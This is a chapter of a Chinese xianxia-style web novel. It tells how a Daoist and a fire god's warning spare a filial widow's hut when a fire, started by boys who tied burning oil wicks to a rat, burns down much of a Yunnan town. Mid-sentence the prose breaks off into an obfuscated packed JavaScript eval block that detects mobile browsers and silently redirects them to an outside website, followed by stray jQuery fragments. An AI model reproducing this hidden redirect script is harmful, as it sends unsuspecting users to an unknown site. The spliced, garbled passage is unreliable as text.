108.火德星君
作品:《南中月下行》 火德星君
明正德二年,滇西叶榆城北陋巷深处,有一名杨海荣老汉与道祖庙的孙古恒道人相交莫逆。孙道人少时负笈西行,于华山之巅随玉泉院清微真人学道二十载,通晓符箓丹鼎、奇门遁甲,尤精火候玄机。真人羽化前曾言:“火德之性,最是难驯,炽则为灾,温则为养。汝道缘在滇,当善体天心,于烈焰中寻一点真性。”孙古恒谨记师训,辗转万里,终在叶榆道祖庙安下身来。
杨海荣年近五旬,面膛赤红如高原烈日,经营一间小小杂货铺。铺中油盐酱醋、针头线脑俱全,尤以苍山松脂熬制的明烛、洱源所产桐油浸渍的纸捻为乡邻所喜。他为人古道热肠,常赊米粮与贫者,冬日里熬大锅姜汤置于檐下,任往来苦力驱寒。孙道人喜其朴厚,常携一壶清茶,于杂货铺后小院槐荫下对坐,谈些星象地理、滇地掌故。杨海荣虽不甚解玄奥,却爱听道人讲那点苍山玉局峰上望夫云的传说,洱海金梭岛下龙宫的故事,还有那南诏旧地阿嵯耶观音显圣的圣迹。
一日午后,孙古恒于道祖庙丹房内趺坐入定,默运周天。窗外蝉声嘶鸣,搅得人心烦意乱。道人凝神内守,渐入虚静,忽觉一股燥热之气自涌泉穴直冲泥丸宫,眼前骤然现出异象——南天碧空如洗,却有一道细若游丝的红痕,自天际疾速划落,形似灼热铁线坠入凡尘。孙古恒心头猛震,此乃《火铃飞空诀》中所述“赤线坠野,回禄将兴”之兆!
他双目微阖,十指在膝上疾速掐动,先天神数于灵台流转推演。卦象凶戾,直指城北。只是须臾间,一幅烈焰焚城、哭嚎震天的惨景如烧红的烙铁,烫入他神识之中:起火之处,赫然是挚友杨海荣那堆满油坛纸捻的杂货铺后宅!火借风势,沿街木楼蔓延,半个城北顿成火海。
孙古恒倏然睁眼,冷汗已湿透青布道袍。他深知天数难违,然杨海荣乃良善之人,岂能坐视其罹此大劫?道人抓起拂尘,足下生风,如一道青烟穿街过巷,直奔城北。
杨海荣正于铺中整理新到的桐油,见孙道人面色煞白闯入,心头一紧。待闻得“三日之内,火起中梁,殃及半城”之语,手中油葫芦“哐当”坠地,金黄油液汩汩漫流,浓烈气味刺鼻。他双膝一软,几乎瘫倒:“道兄救我。杨某半生积攒皆在此屋,更恐连累四邻,罪莫大焉!”
孙古恒咬破中指,强摄心神,再运玄功,以血凌空急画一道殷红符箓,符成之际,竟隐隐有火光流转。道人闭目凝神,神识循符箓指引,如鹰隼般掠过叶榆城鳞次栉比的灰瓦屋顶,直抵城南东岳庙。庙内香火寥落,神像金漆剥落,唯见一红面乞丐,蜷卧冰冷神案之下,鼾声如雷。乞丐口鼻开合间,细微火星随气息明灭闪烁,硫磺气息弥漫虚空。
只见孙古恒豁然开目:“速去东岳庙!火德星君显化红面丐者,唯诚心哀恳,或有一线生机!”
杨海荣如溺水者抓住浮木,跌跌撞撞奔向东岳庙。时值黄昏,庙内昏暗,唯长明灯如豆。庙祝夫妇已在偏殿打盹。杨海荣一眼便见神案下那红脸乞丐,其面赤如重枣,衣不蔽体,露出的胸膛筋肉虬结如赤铜熔铸,口鼻间果然火星隐现。他扑通跪倒,额头重重磕在青砖上:“小民杨海荣,恳请星君慈悲!” 两个时辰,星移斗转,冷月爬上庙脊。杨海荣膝下青砖被汗水泪水浸湿一片。那乞丐终于伸了个懒腰,骨节噼啪作响如薪柴爆裂。杨海荣慌忙捧出备好的十年陈酿雕梅酒与荷叶包着的烧鸡。
乞丐也不言语,抓过酒肉,风卷残云。酒液顺着他赤红虬髯滴落,竟在砖石上嗤嗤作响,腾起细小白烟。食毕,他抹了抹油嘴,声如闷雷滚过焦土:“劫数已定,火起中梁。速归,搬空家当,并告四邻远避!念一点孝心,吾只留王氏草屋五间。”
言罢,乞丐身形陡然虚化,化作一道赤色流光,“嗖”地穿透庙顶瓦片,直射夜空,唯余淡淡硫磺味与几星未熄的余烬飘落杨海荣肩头。
杨海荣被惊得魂不附体,踉跄奔回。城北立时炸开了锅。孙道人之名,叶榆无人不敬。杨海荣嘶声呐喊,拍打每一扇门板:“火神示警!大祸临头!快搬!快搬! ”王家媳妇何氏正给失明的婆婆王氏洗脚,闻声骇然。她二话不说,背起婆婆就冲出茅屋,又返身抢出被褥米粮。邻人亦慌乱行动,柜倒箱翻,鸡飞狗跳,值钱家当尽数堆到远处空场。杨海荣强令家人熄灭所有灶火灯烛,自己提一桶水,登上吱呀作响的阁楼,死死盯着那根粗壮黝黑的中梁,汗水浸透衣衫:“无火无烛,我倒要看看这火从何来!”
时交正午,骄阳似火。众人精疲力竭,喘息未定。杨家阁楼忽传一阵凄厉尖锐的“吱吱”声!一只硕鼠,浑身缠满层层浸透桐油的粗纸捻,那油捻足有十余圈,深勒入皮肉,火光竟已在鼠尾处燃起。巨鼠痛极发狂,在梁柱间亡命奔突,拖着一条扭曲跳跃的火尾,猛地窜上中梁!那梁上恰悬挂着过年祈福的旧神幔,梁下堆着为过冬备下的干燥稻草。油捻火焰在梁木上疯狂摩擦,“嗤啦”一声,火星如毒蛇吐信,骤然舔上垂落的神幔。火舌贪婪一卷,神幔化作烈焰瀑布,轰然倾泻于稻草堆上。
就在那时突然平地陡起一股邪风,呜咽呼啸,如百鬼夜哭,紧闭的雕花木窗竟被齐齐掀开!风助火势,火龙狂啸着腾空而起,瞬间吞噬了阁楼。烈焰如赤色妖魔,冲破屋顶,贪婪地舔舐着毗邻的屋檐。木梁摧折的巨响、瓦片爆裂的脆响、妇孺绝望的哭嚎,交织成地狱悲鸣。浓烟滚滚,蔽日遮天,焦糊气味令人窒息。
火海肆虐,所过之处皆成焦炭。然而奇景陡现,那与杨家仅一土墙之隔的王氏茅屋,五间草房在滔天烈焰中竟如定海神针,岿然不动、巍然独存!赤焰狂龙扑至矮墙,仿佛撞上无形琉璃,火星四溅,却难越雷池半步。纵使是院内那株老梅,枝叶在热浪中轻摇,竟也无半分焦枯。
众人于远处空地惊魂未定,见此神迹,无不瞠目结舌,继而泪流满面。王氏蜷缩院中草席上,瑟瑟发抖。何氏紧搂婆母,面无人色,却仍不忘以袖为婆母遮挡灼人热风。她望着自家安然无恙的茅屋,又望向咫尺外炼狱般的火场,泪如泉涌:“定是老天爷……念我婆婆一生吃斋念佛……念我当家的至孝……”原来何氏丈夫王诚,生前是叶榆城有名的孝子。其父早亡,侍奉瞎眼老母,冬则以身暖衾,夏则执扇驱蚊。
三年前王诚入苍山采药为母治目疾,不慎坠崖而亡。何氏痛不欲生,却毅然担起侍奉婆母之责,日日为婆母梳头盥洗,浆洗缝补,背着婆母走街串巷解闷。婆母脚上那双千层底布鞋,针脚细密如星,便是何氏于油灯下熬了无数夜晚纳成。
烈焰焚城,映照着何氏苍白而坚毅的脸。她忽地挣脱婆母,冲向檐下那口盛满清水的大缸。众人惊呼:“何氏!回来!火要烧过来了!”何氏恍若未闻,奋力以木瓢舀水,泼向那堵已烤得滚烫、隔开王家与地狱的土墙。清水触墙,“嗤”地腾起白气。她并非不知此乃徒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801713|171305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
劳,却无法坐视婆母唯一存身之所受烈焰炙烤。一瓢,又一瓢,清水泼在焦热的土墙上,瞬间蒸腾。她单薄的身影在漫天红光中摇晃,固执地重复着这无望的举动,仿佛在与天争命,守护着人伦至亲的最后方寸之地。
大火直烧到日头偏西方歇。昔日繁华的城北街巷,唯余断壁残垣,焦木黑炭,袅袅青烟带着皮肉焦糊的恶臭直冲云霄。哭嚎之声,撕心裂肺。点验之下,共焚毁屋舍二百一十三间,三十九户流离失所。唯王家五间茅屋,连同院中老梅,奇迹般完好无损。梅树枝叶间,竟隐隐有水光流转,似有清凉结界护持。
灾后数日,众人于灰烬中翻检,寻得火源线索。邻街油匠赵大锤捶胸顿足,揪出其子小十斤。原来三日前,小十斤与二童在自家油坊后巷捉住一硕鼠。顽童心性,见坊中堆积如山的油捻,竟生毒念。小十斤拍手笑道:“给这偷油贼缠个火龙袍!” 他们点燃油捻一端,趁鼠负痛挣扎,将火绳在鼠身反复缠绕十余匝,又以麻线死死捆牢。那鼠已成火球,惨嚎着狂窜而出,拖着一条死亡火线,越过两条街巷,直钻入杨宅阁楼……
孙古恒立于断壁残垣间,默默注视着一根斜插焦土的乌黑残梁。杨海荣形容枯槁,捧着一捧焦糊的米粮,声音嘶哑:“道长,星君既知因果,为何不直接灭了那油捻上的火?为何不阻止顽童恶戏?偏要等火起焚城,才示警留一线生机?” 道人俯身,拾起半截焦黑的油捻,捻动间簌簌落下黑灰:“《阴符经》有云:‘火生于木,祸发必克。’此火生于人心一点顽劣,成于桐油纸捻之利,发于鼠辈奔窜之机,涨于天风邪戾之助。诸缘和合,其势已成,纵是火德星君,亦难在因果链中强断一环。他能做的,不过是在这既定劫数中,为你等撬开一线生机,护住那一点至孝真性,使天道留痕,人心存畏。”
他遥指王家茅屋,“你看那五间草房,便是天道予人间的昭示。火德之威,可焚城郭,却焚不毁人心一点至诚至善。此乃劫火中炼出的真金。”
数月后,王家茅屋成了城北唯一完好的栖身之所,收容了数户无家可归者。何氏日夜操劳,侍奉婆母之余,为灾民浆洗缝补,熬煮粥饭。一日清晨,她在院中老梅树下汲水,忽见树根处泥土微拱,竟露出一截赤色木匣。启之,匣内别无他物,唯有一枚非金非玉的赤色令牌,形似火焰升腾,触手温润。令牌背面,阴刻两个古朴篆字:“离明。”孙古恒观之,肃然长揖:“此乃火德星君信物‘离明令’。劫火之后,真性不灭,善德感天,故留此符。悬于中堂,可辟邪祟,保家宅安宁。”
自此,王氏茅屋中堂悬起那枚离明令。奇的是,无论寒暑,令牌周遭总氤氲着淡淡暖意,却无半分燥热。叶榆城人渐知此事,常有人远道而来,只为在王家院中老梅树下坐一坐,摸一摸那温润的离明令。灾后重建的城北,新屋渐起,然每逢年节,无论贫富,家家必在灶王爷神位旁,虔心供奉火德星君牌位,更以王家婆媳为楷模,教导子孙孝悌之道。
多年后,城北早已复旧日景,唯孙古恒道祖庙后,多了一座小小的“离明祠”,祠内无神像,仅悬一枚赤焰形令牌拓片。祠前香火不绝,青烟袅袅直上青天。祠旁石碑,镌刻着孙道人羽化前所留偈语:
离火本无情,焚城亦焚心。
一点孝慈泪,能熄万丈烬。
天道原无亲,常与善者邻。
回禄非星降,起灭在人心。